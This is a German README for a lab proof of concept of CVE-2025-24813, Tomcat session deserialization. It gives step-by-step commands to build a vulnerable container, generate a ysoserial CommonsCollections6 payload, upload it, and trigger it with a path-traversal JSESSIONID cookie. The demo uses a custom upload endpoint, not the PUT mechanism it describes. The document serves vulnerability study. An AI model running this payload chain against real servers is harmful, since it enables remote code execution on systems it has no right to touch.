
Proof-of-Concept-Exploit für CVE-2025-24813, der die Apache Tomcat HTTP PUT File Write Sicherheitslücke demonstriert, die zu bösartiger Session-Deserialisierung und Remote-Code-Ausführung führt.
Dieses Repository enthält eine einfache Anwendung, die erstellt wurde, um das Verhalten von CVE-2025-24813 zu beobachten, einer aktuellen Schwachstelle im Apache Tomcat im Zusammenhang mit der Nutzung des DefaultServlet mit aktiviertem Schreibzugriff (readonly=false), die unsichere Schreiboperationen über HTTP PUT (mit Unterstützung für partial PUT / Content-Range) ermöglicht, was zur Überschreibung sensibler Dateien, einschließlich Sitzungsdateien, führen kann – was Szenarien für RCE ermöglicht, falls eine bösartige Deserialisierung auftritt.
Die Anwendung verwendet:
| Komponente | Funktion |
|---|---|
| Tomcat 9 + JDK 11 | Verwundbarer Server als Ziel verwendet |
context.xml | Aktiviert PersistentManager + FileStore, das Sitzungen auf der Festplatte speichert |
upload.jsp | Einfacher Endpunkt, der Daten empfängt und auf die Festplatte schreibt |
/tmp/app-data/ | Verzeichnis, in dem die Uploads gespeichert werden |
Die anfängliche Idee ist zu beobachten, wie Tomcat Dateien in einer für die Untersuchung des CVE konfigurierten Umgebung behandelt – beginnend mit einer harmlosen Anfrage, die nur eine Datei kontrolliert speichert (ohne Exploit-Versuch) und unmittelbar danach eine bösartige Datei.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
Führen Sie in einem anderen Terminal die folgenden Befehle aus.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
Wir senden eine einfache Datei, um das normale Verhalten zu beobachten.
Upload durch Senden einer Zeichenfolge
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
Wenn alles korrekt ist, sollte im Terminal mit strace nichts erscheinen.
Hinweis: Falls SIGSEGV-Fehler im strace auftauchen, ignorieren Sie diese. Sie sind JVM-Rauschen.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Hier verwenden wir die Kette CommonsCollections6, um ein Objekt zu generieren, das in einem verwundbaren Szenario den Befehl touch /tmp/RCE ausführen könnte. Das Payload wird als hack.session gespeichert.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Falls der vorherige Befehl einen Fehler ergibt, liegt das daran, dass zur Gewährleistung der Kompatibilität mit modernen Java-Versionen (9+) das Flag --add-opens hinzugefügt werden muss, um die starke Kapselung (JPMS) zu deaktivieren, die andernfalls die vom ysoserial verwendete Reflektion blockieren würde.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Nach diesem Befehl haben Sie eine lokale Binärdatei:
hack.session
Wir senden die .session-Datei an den JSP-Endpunkt, der den Inhalt direkt in das Verzeichnis /tmp/app-data schreibt.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
Erwartete Ausgabe:
Arquivo salvo com sucesso em: /tmp/app-data/hack.session
📌 Zu diesem Zeitpunkt wird kein Befehl ausgeführt – es erfolgt lediglich ein Dateischreibvorgang auf dem Server.
Jetzt senden wir eine Anfrage mit dem Cookie JSESSIONID=hack, um zu versuchen, Tomcat zu zwingen, die neu erstellte Sitzung zu laden.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
Im Terminal mit strace sollten execve-Befehle aufgetaucht sein, die die Datei erstellen.
Um zu überprüfen, ob die Datei erstellt wurde, können wir auch in den Container gehen und nachsehen:
docker exec -it toy-cve ls -l /tmp/